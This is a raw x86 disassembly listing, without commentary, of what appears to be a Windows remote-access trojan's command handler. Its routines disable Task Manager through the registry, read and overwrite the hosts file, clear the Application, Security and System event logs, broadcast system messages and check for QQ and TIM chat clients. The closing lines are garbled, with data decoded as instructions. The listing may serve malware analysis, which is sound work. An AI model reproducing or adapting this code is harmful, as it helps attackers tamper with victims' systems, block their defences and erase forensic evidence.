push 0
push 0
push 0x4099b0
push 0
push 0
mov dword [0x448cd8], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x409a50
push 0
push 0
mov dword [0x448cd0], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x409a00
push 0
push 0
mov dword [0x448cd4], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0x440ac4
call fcn.0041c939
add esp, 4
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0xd24]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne case.0x40a34c.2
push 4
lea eax, [ebp - 0xd28]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0xd24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0xd24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp case.0x40a34c.2
push 0x43fb4c
call fcn.0041c939
add esp, 4
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0xd24]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne case.0x40a34c.2
push 4
lea eax, [ebp - 0xd28]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0xd24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0xd24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp case.0x40a34c.2
mov edx, ecx
mov ecx, esi
call fcn.00409aa0
jmp case.0x40a34c.2
mov esi, dword [sym.imp.USER32.dll_BroadcastSystemMessageA]
push 0
push 2
push 0x10
push 0
push 2
call esi
push 0
push 2
push 0x10
push 0
push 4
call esi
push 0
push 2
push 0x10
push 0
push 8
call esi
push 0
push 2
push 0x10
push 0
push 0x20
call esi
push 0
push 2
push 0x10
push 0
push 0x30
call esi
push 0
push 2
push 0x10
push 0
push 0x40
call esi
push 0
push 2
push 0x10
push 0
push 0x80
call esi
push 0
push 2
push 0x10
push 0
push 0x100
call esi
push 0
push 2
push 0x10
push 0
push 0x10
call esi
jmp case.0x40a34c.2
push 0x201
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
mov dword [ebp - 0x2cc], 0
xorps xmm0, xmm0
mov dword [ebp - 0xd28], esi
movups xmmword [ebp - 0x2dc], xmm0
mov dword [ebp - 0x2c8], 0xf
mov byte [esi], 0xcf
mov dword [ebp - 0x18], 0x652e5151
mov word [ebp - 0x14], 0x6578
mov byte [ebp - 0x12], 0
mov dword [ebp - 0x28], 0x2e4d4954
mov dword [ebp - 0x24], 0x657865
mov byte [ebp - 0x2dc], 0
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0x10
push eax
call fcn.004040b0
test eax, eax
je 0x40ca4d
lea ecx, [ebp - 0x18]
jmp 0x40ca5d
lea eax, [ebp - 0x28]
push eax
call fcn.004040b0
test eax, eax
je 0x40ca68
lea ecx, [ebp - 0x28]
lea edx, [ebp - 0x588]
call fcn.00405dd0
lea edi, [esi + 1]
mov ecx, 0x80
lea esi, [ebp - 0x588]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xd28]
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0xd38]
push eax
push esi
call fcn.004110b0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp case.0x40a34c.2
push 0x104
lea eax, [ebp - 0x12c]
push 0
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [ebp - 0x12c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.GetNativeSystemInfo
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40cb1f
lea ecx, [ebp - 0x2e8]
push ecx
call eax
mov ax, word [ebp - 0x2e8]
cmp ax, 9
je 0x40cb01
cmp ax, 6
jne 0x40cb1f
lea edi, [ebp - 0x12c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cb08
mov ecx, 7
mov esi, str._sysnativedriversetchosts
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
jmp 0x40cb3a
lea edi, [ebp - 0x12c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cb26
mov ecx, 7
mov esi, str._system32driversetchosts
rep movsd dword es:[edi], dword [esi]
push 0x80
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 4
push 0
push 1
push SysReAllocString
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xd28], eax
cmp eax, 0xffffffff
je case.0x40a34c.2
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea ecx, [esi + 2]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0
mov edi, eax
lea eax, [ebp - 0x14]
push eax
push esi
mov esi, dword [ebp - 0xd28]
lea ecx, [edi + 1]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40cbbf
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x40a34c.2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
mov byte [edi], 0xdc
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0xd38]
push eax
push edi
call fcn.004110b0
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp case.0x40a34c.2
push 0x104
lea eax, [ebp - 0x12c]
push 0
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [ebp - 0x12c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.GetNativeSystemInfo
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40cc6a
lea ecx, [ebp - 0x2e8]
push ecx
call eax
mov ax, word [ebp - 0x2e8]
cmp ax, 9
je 0x40cc4c
cmp ax, 6
jne 0x40cc6a
lea edi, [ebp - 0x12c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cc53
mov ecx, 7
mov esi, str._sysnativedriversetchosts
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
jmp 0x40cc85
lea edi, [ebp - 0x12c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40cc71
mov ecx, 7
mov esi, str._system32driversetchosts
rep movsd dword es:[edi], dword [esi]
push 0x80
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je case.0x40a34c.118
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0xd20]
push dword [ebp - 0xd2c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x98d
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [ebp - 0xd14]
mov dword [ebp - 0xd28], esi
mov byte [esi], 0xdd
call fcn.00407330
lea edi, [esi + 1]
mov ecx, 0x263
lea esi, [ebp - 0xd14]
jmp 0x40ca76
mov edx, ecx
mov ecx, esi
call fcn.00408090
jmp case.0x40a34c.2
movzx ecx, byte [esi + 1]
call fcn.00403e70
jmp case.0x40a34c.2
push 0x400
lea eax, [ebp - 0x788]
inc esi
push 0
push eax
call fcn.004166e0
push 0x44a390
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x6e69614d
push eax
lea eax, [ebp - 0x788]
mov dword [ebp - 0x18], 0x5c6c6c44
push eax
mov word [ebp - 0x14], 0x7325
mov byte [ebp - 0x12], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
push 0x440b80
lea edx, [ebp - 0x788]
mov ecx, SysReAllocString
call fcn.00413440
add esp, 0x14
jmp case.0x40a34c.2
push 0x400
lea eax, [ebp - 0x788]
inc esi
push 0
push eax
call fcn.004166e0
push 0x44a390
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x6e69614d
push eax
lea eax, [ebp - 0x788]
mov dword [ebp - 0x18], 0x5c6c6c44
push eax
mov word [ebp - 0x14], 0x7325
mov byte [ebp - 0x12], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
push 0x43fb28
jmp 0x40cd82
lea ecx, [esi + 1]
mov edx, 1
call fcn.00409ae0
jmp case.0x40a34c.2
lea ecx, [esi + 1]
xor edx, edx
call fcn.00409ae0
jmp case.0x40a34c.2
push 0x400
lea eax, [ebp - 0x788]
inc esi
push 0
push eax
call fcn.004166e0
lea eax, [ebp - 0x788]
push str.MainDllClore
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
push 0x440bc8
jmp 0x40cd82
push 0x400
lea eax, [ebp - 0x788]
inc esi
push 0
push eax
call fcn.004166e0
lea eax, [ebp - 0x788]
push str.MainDllClore
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
push 0x440bd0
jmp 0x40cd82
mov eax, dword [edi + 4]
inc dword [eax + 0x50]
jmp case.0x40a34c.2
call fcn.0040d360
jmp case.0x40a34c.2
movzx eax, byte [esi + 1]
dec eax
mov dword [ebp - 0x1c], str.Application
mov dword [ebp - 0x18], str.Security
mov dword [ebp - 0x14], str.System
cmp eax, 3
ja case.0x40a34c.2
jmp dword [eax*4 + 0x40d164]
mov dword [ebp - 0x14], 0x441616
jmp 0x40cef0
mov dword [ebp - 0x1c], 0x441616
mov dword [ebp - 0x14], 0x441616
jmp case.0x40cec9.1
mov dword [ebp - 0x1c], 0x441616
mov dword [ebp - 0x18], 0x441616
xor esi, esi
nop dword [eax]
push dword [ebp + esi*4 - 0x1c]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov edi, eax
test edi, edi
je 0x40cf22
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc esi
cmp esi, 3
jb 0x40cf00
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004137fd
mov esp, ebp
pop ebp
ret 8
push 0x80004005
call fcn.00410cc0
push 0x80004005
call fcn.00410cc0
call fcn.00404000
push 0x80004005
call fcn.00410cc0
push 0x80004005
call fcn.00410cc0
call fcn.00419665
call fcn.004040a0
call fcn.00406530
nop dword [eax]
xchg ecx, eax
into
inc eax
add cl, ch
retf